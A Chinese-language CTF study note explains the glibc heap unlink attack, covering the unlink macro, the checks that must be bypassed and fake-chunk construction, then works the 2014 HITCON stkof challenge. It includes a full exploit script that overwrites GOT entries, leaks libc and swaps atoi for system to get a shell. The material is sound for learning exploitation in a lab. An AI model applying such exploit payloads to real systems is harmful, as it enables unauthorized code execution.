unlink学习笔记
打pwn的师傅们都知道,堆攻击中有个大名鼎鼎的手法叫做unlink,我作为一个刚入门的新手,自然也想前往膜拜一下,这段时间跟着holk师傅的博文仔细学习了一番,在此记录总结一下整个Unlink流程(holk师傅写的太好了,大家想深入研究细节的话十分推荐阅读原文)。以下内容偏总结性,希望能帮助到和我一样的新手。
一、What?
首先不妨假设有三个free掉的chunk分别称为first_chunk、second_chunk、third_chunk
unlink其实是想把second_chunk摘掉,那怎么摘呢?
学过数据结构的都知道,在链表中删除元素无非就是节点间相互指针的变化,unlink所作的操作也同样如此。大体步骤如下:
second_fd = first_prev_addr
second_bk = third_prev_addr
first_bk = third_prev_addr
third_fd = first_prev_addr
unlink前三个堆块的指针情况
unlink后
二、When?
翻看libc源码(这里的版本选的是2.27),发现Unlink原来是在执行free函数时执行了_int_free函数,在_int_free函数中的其中一行调用了unlink宏
#define unlink(AV, P, BK, FD)
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
static void _int_free(mstate av, mchunkptr p, int have_lock) {
free() {
_int_free() {
/* consolidate backward */
if (!prev_inuse(p)) { // 检查prev_inuse位是否为1,位0则空闲块,启动合并操作
prevsize = p->prev_size; // 1.记录前一个chunk的大小
size += prevsize; // 2.将自己的大小和前一个要和并的大小相加得到合并后的大小
p = chunk_at_offset(p, -((long)prevsize)); // 3. p指针向前移动,移动到前一个被合并的chunk
unlink(av, p, bck, fwd); // 4.调用unlink宏
}
}
}
}
三、Checks
说完了what、when,接下来就要说how了,在这之前我们先来看看,想要偷偷地完成Unlink利用,需要绕过哪些glibc的“守卫”,先那小本本记下,之后有大用处
攻击时修改指针需要绕过的检查:
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
检查3:检查前后被释放chunk的fd和bk
first_chunk的bk是否指向second_chunk的地址
third_chunk的fd是否指向second_chunk的地址
四、Conditions
可以看到,我们可以通过堆溢出控制prev_size和size,在关闭了PIE保护,知道堆块指针存放在哪,有堆溢出的情况下,可以利用unlink进行任意地址写
五、Fake chunk!
依然是假设有堆块chunk1,chunk2,chunk3,其中chunk2的data块用于伪造fake_chunk
注意:chunk1,chunk2,chunk3和first_chunk、second_chunk、third_chunk不同
(a).外部环境
chunk2的data块大小至少为
0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30
首先满足chunk3的prev_size要等于fake_chunk的size,说明前一个chunk是释放状态(满足检查1和检查2)
想要触发unlink,chunk3的大小必须超过FAST_BIN_MAX且size的P标志位为0
(其实不加上next_prev和next_size也可以,chunk2在申请的时候设置为0x20,chunk3的presize改成0x20,也能绕过。不过既然可以构造堆块,在能控制的同一个堆块里构造数据更好)
(b).内部环境——data_chunk
unlink目标是释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,fake_chunk的prev_size置零就行
fake_chunk包括prevsize、size、fd、bk即可,size的大小为0x20
证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
这里fake_chunk用不到next_size,随便写点something
fake_chunk = p64(0) + p64(0x20) + p64(fd) + p64(bk) + p64(0x20) + b"somethin"
payload = fake_chunk + p64(0x30) + p64(0x90) = p64(0) + p64(0x20) + p64(fd) + p64(bk) + p64(0x20) + b"somethin" + p64(0x30) + p64(0x90)
之前的设置已经让我们绕过了检查1和检查2 ,那么fd和bk要怎么设置呢?
为了使fake_chunk合法,就必须满足检查3,所以我们需要把fake_chunk当做标题一中的second_chunk(就是刚开头假设的chunk,忘了的可以往前看看)来看待,也就是说需要设置
- fake_fd = first_prev_addr
- fake_bk = third_prev_addr
- third_fd = fake_prev_addr
- first_bk = fake_prev_addr
其中
- third_fd = fake_prev_addr
- first_bk = fake_prev_addr
是已知的,必须满足的条件
- fake_fd = first_prev_addr
- fake_bk = third_prev_addr
是未知的,可以由我们设置
明白了这点,现在的问题就变成了我们如何控制fake_chunk的fd和bk,选择一个合适的”first_chunk”和”third_chunk”来欺骗堆管理器?
继续假设(嘿嘿)我们的题目有一个存放所有申请的堆块的数组称为heap_array(图中0x602140),那么显然数组中按顺序存放了申请的堆块的地址s[1]、s[2]、s[3](忽略数组从0开始索引),其中s[1]、s[2]、s[3]为标题五中一开始假设的堆块chunk1、chunk2、chunk3
接下来就是magic time:
- 将0x602140作为一个
chunk
来看,该chunk的fd即为fake_chunk的地址,也就是说,如果我们选择0x602140作为fake_chunk的bk,可以满足fake_bk = third_prev_addr且third_fd = fake_prev_addr的检查,那么0x602140作为一个堆块来看的话,该堆块的fd就是fake_chunk,即它就是我们要找的third_chunk - 将0x602140 - 0x8作为一个
chunk
来看,该chunk的bk即为fake_chunk的地址,也就是说,如果我们选择0x602140 - 0x8作为fake_chunk的fd,可以满足fake_bk = first_prev_addr且first_fd = fake_prev_addr的检查,那么0x602140 - 0x8作为一个堆块来看的话,该堆块的bk就是fake_chunk,即它就是我们要找的first_chunk
好诶!我们终于拼上了payload的最后一块拼图
最终的paload即为
payload = p64(0) + p64(0x20) + p64(heap_array - 0x8) + p64(heap_array) + p64(0x20) + b"somethin" + p64(0x30) + p64(0x90)
区分mark:fd指向的是堆块的prev_size地址;malloc返回的是堆块的data_address,不包括chunk_head
七、Let’s unlink!
来一起回顾一下,在之前的几个步骤中,我们在chunk2中构造了一个fake_chunk,并且布置好了fake_chunk的内部环境,同时伪造好了与chunk2物理地址相邻的chunk3的外部环境。上述所有的准备,都是为了绕过检查,在free chunk3的时候触发unlink,然后给一个任意地址写
看到这里,相信师傅们一定还有几个关键的疑惑还未得到解答
- 为什么释放之后就会unlink
- unlink在攻击中有什么用
为什么free chunk3会触发unlink?
- fake_chunk和chunk3物理地址相连
- fake_chunk被伪造为空闲状态
- fake_chunk为了绕过检查,与first_chunk和third_chunk构成了一个双向链表
- chunk3在被释放时会向前和fake_chunk合并,这个过程中需要把fake_chunk从双向链表中抢过来
也就是说,执行free chunk3的前提是要让fake_chunk先脱离双向链表(当然这是我们伪造的),这个把fake_chunk从链表中取出的过程就是我们所说的unlink
unlink之后发生了什么?
有标题一中的内容可知,堆块指针会发生如下变化
first_bk = third_prev_addr
third_fd = first_prev_addr
fake_chunk被摘除之后
- 首先执行的就是
first_bk = third_addr
,即first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址:
- 接下来执行
third_fd = first_addr
,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址:
- third_chunk的fd与first_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138,即unlink之后s[2]存放的指针就是heap_array-0x8的地址,也就是说,可以通过对s2指针指向的内存进行修改,来任意修改heap_array中的内容,假设被写入的内容是函数的got表,接着就能进一步修改写入heap_array的got表指向的真实地址,达到劫持函数的目的
OK,以上就是unlink的全部流程了,至此,我们已经可以实现通过菜单中的修改函数进行任意地址写,接下来就是泄露,找system,改got表,提权一把梭
八、例题2014 HITCON stkof
1、静态分析
大家都会的简单逆向重命名。详细标注在注释中
sub_400936函数,实现申请内存功能,重命名为add
__int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
(&chunk_array)[++idx] = v2;
printf("%d\n", (unsigned int)idx);
return 0LL;
}
sub_4009E8函数,实现编辑功能,重命名为edit
__int64 sub_4009E8()
{
int i; // eax
unsigned int idx; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
idx = atol(s);
if ( idx > 0x100000 ) // chunk的个数不能超过0x100000
return 0xFFFFFFFFLL;
if ( !(&chunk_array)[idx] ) // 判断chunk是否存在
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&chunk_array)[idx];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 读取1xn个字节
// 有堆溢出
{
ptr += i;
n -= i;
}
//循环强制读取完1xn个字节;不会被\x00或\n截断
if ( n )
return 0xFFFFFFFFLL;
else
return 0LL;
}
sub_400B07函数,实现释放堆块功能,重命名为delete
__int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v1 = atol(s);
if ( v1 > 0x100000 ) // chunk的个数不能超过0x100000
return 0xFFFFFFFFLL;
if ( !(&chunk_array)[v1] ) // 判断chunk是否存在
return 0xFFFFFFFFLL;
free((&chunk_array)[v1]);
(&chunk_array)[v1] = 0LL;
return 0LL;
}
sub_400BA9函数,好像没用
其中需要注意的有::s变量名,查看大佬博客可知这是ida在编译伪代码的时候出现了一些问题,这个s和其他变量名重复了,重命名位chunk_array即可
2、动态调试
根据之前unlink的学习,我们需要构造出fake_chunk
不妨先申请三个0x20的堆块,调试可以看到,除了我们所申请的三个堆块,多出的两个堆块,这是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候
这对于我们的漏洞利用有什么影响呢
显然,申请的第一个chunk已经被两个io_chunk包围了,所以不在考虑使用chunk1,而是由chunk2堆溢出至chunk3,在chunk2中伪造fake_chunk
unlink的具体分析,和文章前面部分类似,不再赘述(事实上,前面的手法就是通过这一题来写的hhhh)
通过unlink我们能得到0x0602138地址的任意写,通过edit布置chunnk_array上的数据为
此时,再次修改s[0]的话其实修改的是free()函数的真实地址,再次修改s[1]的话其实修改的是puts()函数的真实地址,再次修改s[3]的话其实修改的是atoi()函数的真实地址
详细过程请见exp以及注释
exp
from Excalibur2 import *
setterminal('tmux','new-window')
contextset()
proc('./stkof')
el('stkof')
lib('libc-2.23.so')
def add(size):
sl(b'1')
sl(str(size))
ru(b'OK\n')
def edit(idx,size,content) :
sl(b'2')
sl(str(idx))
sl(str(size))
sd(content)
ru(b'OK\n')
def free(idx):
sl(b'3')
sl(str(idx))
ru(b'OK\n')
def show(idx):
sl(b'4')
sl(str(idx))
ru(b'OK\n')
debug('b *0x400CAC\nb *0x400CBB\nb *0x400CCA\nb *0x400CD9\n')
add(0x100) # chunk1
add(0x30) # chunk2
add(0x80) # chunk3
# fake_chunk
heap_array = 0x602140
payload = p64(0) + p64(0x20) + p64(heap_array - 0x8) + p64(heap_array) + p64(0x20) + b"somethin" + p64(0x30) + p64(0x90)
edit(2,len(payload),payload)
# unlink
free(3)
pay2 = b'a'*8+p64(got('free'))+p64(got('puts'))+p64(got('atoi'))
edit(2,len(pay2),pay2)
# leak libc
pay3 = p64(plt('puts'))
edit(0,len(pay3),pay3) # edit free's got to puts's plt
sl(b'3')
sl(str(1)) # "free"掉第1个堆块,相当于puts出puts的真实地址
puts_addr = get_addr64() # 这里要注意不要用free函数,不然返回的数据被free函数里接受掉了,ger_addr收不到地址
# binsh system
binsh,system = searchlibc('puts',puts_addr,1)
pay4 = p64(system)
edit(2,len(pay4),pay4) # edit atoi's got to system addr
# get shell
sl(b'/bin/sh\x00')
ia()
参考资料
https://blog.csdn.net/qq_41202237/article/details/108481889
有部分图片出自参考资料